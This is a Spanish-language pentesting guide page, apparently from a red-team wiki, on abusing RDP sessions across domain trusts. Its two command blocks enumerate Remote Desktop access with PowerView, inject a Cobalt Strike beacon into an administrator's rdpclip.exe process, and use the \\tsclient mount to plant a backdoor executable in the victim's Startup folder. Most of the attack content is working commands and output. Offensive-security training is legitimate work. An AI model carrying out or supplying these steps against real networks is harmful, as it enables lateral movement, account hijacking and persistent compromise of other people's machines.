# Abuso de Sesiones RDP
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## Inyección de Proceso RDP
Si el **grupo externo** tiene **acceso RDP** a cualquier **computadora** en el dominio actual, un **atacante** podría **comprometer esa computadora y esperar a que él**.
Una vez que ese usuario haya accedido a través de RDP, el **atacante puede pivotar a la sesión de ese usuario** y abusar de sus permisos en el dominio externo.
```powershell
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
```
Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
## RDPInception
Si un usuario accede a través de **RDP a una máquina** donde un **atacante** está **esperándolo**, el atacante podrá **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder a través de RDP, el **atacante podría acceder a ella**.
En este caso, podrías simplemente **comprometer** el **ordenador original** de la **víctima** escribiendo un **backdoor** en la **carpeta de inicio**.
```powershell
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
```
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